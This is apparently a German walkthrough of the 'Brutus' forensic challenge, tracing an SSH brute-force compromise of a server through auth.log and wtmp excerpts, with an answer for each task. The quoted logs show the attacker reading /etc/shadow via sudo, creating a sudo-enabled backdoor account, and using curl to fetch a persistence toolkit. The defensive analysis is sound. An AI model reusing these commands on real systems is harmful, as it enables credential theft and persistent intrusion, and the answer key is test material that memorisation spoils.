brutus

Veröffentlicht2024-04-04
Retired2024-04-04
AutorCyberJunkie

Szenario

In diesem sehr einfachen Sherlock werden Sie sich mit den Unix auth.log- und wtmp-Protokollen vertraut machen. Wir werden ein Szenario untersuchen, in dem ein Confluence-Server über seinen SSH-Dienst durch Brute-Force-Angriffe kompromittiert wurde. Nachdem der Angreifer Zugang zum Server erlangt hatte, führte er zusätzliche Aktivitäten durch, die wir mithilfe von auth.log verfolgen können. Obwohl auth.log hauptsächlich für die Analyse von Brute-Force-Angriffen verwendet wird, werden wir im Rahmen unserer Untersuchung das volle Potenzial dieses Artefakts erkunden, einschließlich Aspekte wie Privilegienerweiterung, Persistenz und sogar Einblicke in die Ausführung von Befehlen.


Task 01

Frage: Die Authentifizierungsprotokolle analysierend, können Sie die IP-Adresse identifizieren, die der Angreifer für einen Bruteforce-Angriff verwendet hat?
Original: Analyzing the auth.log, can you identify the IP address used by the attacker to carry out a brute force attack?

Im zur Verfügung stehenden auth.log ist ein Bruteforce-Angriff auf verschiedene SSH Benutzer erkennbar. Im geloggten Zeitraum (von 06:18:01 bis 06:41:01) sind 48 fehlgeschlagene Login-Versuche von der gleichen IP auf die Benutzer admin, backup, server_adm, svc_account und root.

Antwort: 65.2.161.68


Task 02

Frage: Die Bruteforce-Angriffe waren erfolgreich, und der Angreifer erlangte Zugriff auf ein Konto auf dem Server. Welcher Benutzername gehört zu diesem Konto?
Original: The brute force attempts were successful, and the attacker gained access to an account on the server. What is the username of this account?

Nach 3 fehlgeschlagenen Versuchen wurde um 06:31:40 der Benutzer root von der aus Task 1 bekannten IP erfolgreich automatisiert eingeloggt. Da es sich hierbei nur um einen Bruteforce-Scanner handelt wird die Session unmittelbar danach wieder geschlossen und dem Angreifer die erfolgreiche Kombination aus Username und Passwort mitgeteilt.

281
282
283
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
Mar  6 06:31:40 ip-172-31-35-28 systemd-logind[411]: New session 34 of user root.

[…]

293
294
295
296
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Received disconnect from 65.2.161.68 port 34782:11: Bye Bye
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Disconnected from user root 65.2.161.68 port 34782
Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: pam_unix(sshd:session): session closed for user root
Mar  6 06:31:40 ip-172-31-35-28 systemd-logind[411]: Session 34 logged out. Waiting for processes to exit.

Antwort: root


Task 03

Frage: Können Sie den Zeitstempel identifizieren, als der Angreifer sich manuell auf dem Server eingeloggt hat, um seine Ziele zu erreichen?
Original: Can you identify the timestamp when the attacker manually logged in to the server to carry out their objectives?

In wtmp werden alle Login und -out Vorgänge erfasst. Mit Hilfe des last Befehls lässt sich das mitgelieferte Artefakt auslesen und so der gesuchte Zeitpunkt feststellen.

    $ last -f wtmp --time-format iso
    cyberjun pts/1        65.2.161.68      2024-03-06T07:37:35+01:00   gone - no logout
    root     pts/1        65.2.161.68      2024-03-06T07:32:45+01:00 - 2024-03-06T07:37:24+01:00  (00:04)
    root     pts/0        203.101.190.9    2024-03-06T07:19:55+01:00   gone - no logout
    reboot   system boot  6.2.0-1018-aws   2024-03-06T07:17:15+01:00   still running
    root     pts/1        203.101.190.9    2024-02-11T11:54:27+01:00 - 2024-02-11T12:08:04+01:00  (00:13)
    root     pts/1        203.101.190.9    2024-02-11T11:41:11+01:00 - 2024-02-11T11:41:46+01:00  (00:00)
    root     pts/0        203.101.190.9    2024-02-11T11:33:49+01:00 - 2024-02-11T12:08:04+01:00  (00:34)
    root     pts/0        203.101.190.9    2024-01-25T12:15:40+01:00 - 2024-01-25T13:34:34+01:00  (01:18)
    ubuntu   pts/0        203.101.190.9    2024-01-25T12:13:58+01:00 - 2024-01-25T12:15:12+01:00  (00:01)
    reboot   system boot  6.2.0-1017-aws   2024-01-25T12:12:17+01:00 - 2024-02-11T12:09:18+01:00 (16+23:57)

    wtmp begins 2024-01-25T12:12:17+01:00

Antwort: 2024-03-06 06:32:45


Task 04

Frage: SSH-Login-Sitzungen werden verfolgt und bei der Anmeldung einer Sitzungsnummer zugewiesen. Welche Sitzungsnummer wurde der Sitzung des Angreifers für das Benutzerkonto aus Frage 2 zugewiesen?
Original: SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker’s session for the user account from Question 2?

Nach dem automatisierten Login des Angreifers aus Task 2 um 06:31:40 kehrt der Angreifer zurück und nutzt die so gefunden Login Daten für einen weiteren Zugriff von der bekannten IP genutzt. Dieser SSH Session wird die Sitzungsnummer 37 zugewiesen.

324
 Mar  6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.

Antwort: 37


Task 05

Frage: Der Angreifer fügte als Teil seiner Persistenzstrategie auf dem Server einen neuen Benutzer hinzu und gab diesem neuen Benutzerkonto höhere Privilegien. Wie lautet der Name dieses Kontos?
Original: The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?

Kurz nach dem erfolgreichen Login des Angreifers zeigt auth.log die Erstellung eines neuen Benutzers um 06:34:18 mit UID=1002, GID=1002. Dieser Benutzer wird anschließend der sudo Gruppe hinzugefügt.

333
334
335
336
Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/group: name=cyberjunkie, GID=1002
Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/gshadow: name=cyberjunkie
Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: new group: name=cyberjunkie, GID=1002
Mar  6 06:34:18 ip-172-31-35-28 useradd[2592]: new user: name=cyberjunkie, UID=1002, GID=1002, home=/home/cyberjunkie, shell=/bin/bash, from=/dev/pts/1

[…]

345
346
Mar  6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to group 'sudo'
Mar  6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to shadow group 'sudo'

Antwort: cyberjunkie


Task 06

Frage: Welche MITRE ATT&CK-Untertechnik-ID wurde für Persistenz verwendet?
Original: What is the MITRE ATT&CK sub-technique ID used for persistence?

Der Angreifer hat mittels des useradd Befehls ein lokales Konto (cyberjunkie) erstellt, um den Zugriff auf das System aufrechtzuerhalten. Diese Art der Persistenzerhaltung wird im MITRE ATT&CK® Framework die ID T1136.001 zugeordnet.

Antwort: T1136.001


Task 07

Frage: Wie lange dauerte die erste SSH-Sitzung des Angreifers basierend auf der zuvor bestätigten Authentifizierungszeit und dem Ende der Sitzung im auth.log? (in Sekunden)
Original: How long did the attacker’s first SSH session last based on the previously confirmed authentication time and session ending within the auth.log? (seconds)

Laut Task 3 hat der Angreifer sich um 06:32:45 eingeloggt, der Logout ist ebenfalls in auth.log erfasst. Daraus ergibt sich die Dauer.

    $ printf "%s\n" $(( $(date -d "06:37:24" "+%s") - $(date -d "06:32:45" "+%s") ))
    279

Antwort: 279


Task 08

Frage: Der Angreifer hat sich in sein Backdoor-Konto eingeloggt und seine höheren Berechtigungen genutzt, um ein Skript herunterzuladen. Was ist der vollständige Befehl, der mit sudo ausgeführt wurde?
Original: The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?

Der neu angelegte Benutzer wird um 06:37:34 eingeloggt und im Anschluss um 06:39:38 die neu zugeteilten sudo Berechtigungen genutzt um mittels curl ein Linux Persistenz Toolkit (linper) herunterzuladen.

362
363
364
365
366
Mar  6 06:37:34 ip-172-31-35-28 systemd-logind[411]: New session 49 of user cyberjunkie.
Mar  6 06:37:34 ip-172-31-35-28 systemd: pam_unix(systemd-user:session): session opened for user cyberjunkie(uid=1002) by (uid=0)
Mar  6 06:37:57 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow
Mar  6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar  6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root

[…]

375
376
Mar  6 06:39:38 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
Mar  6 06:39:38 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)

Antwort: /usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh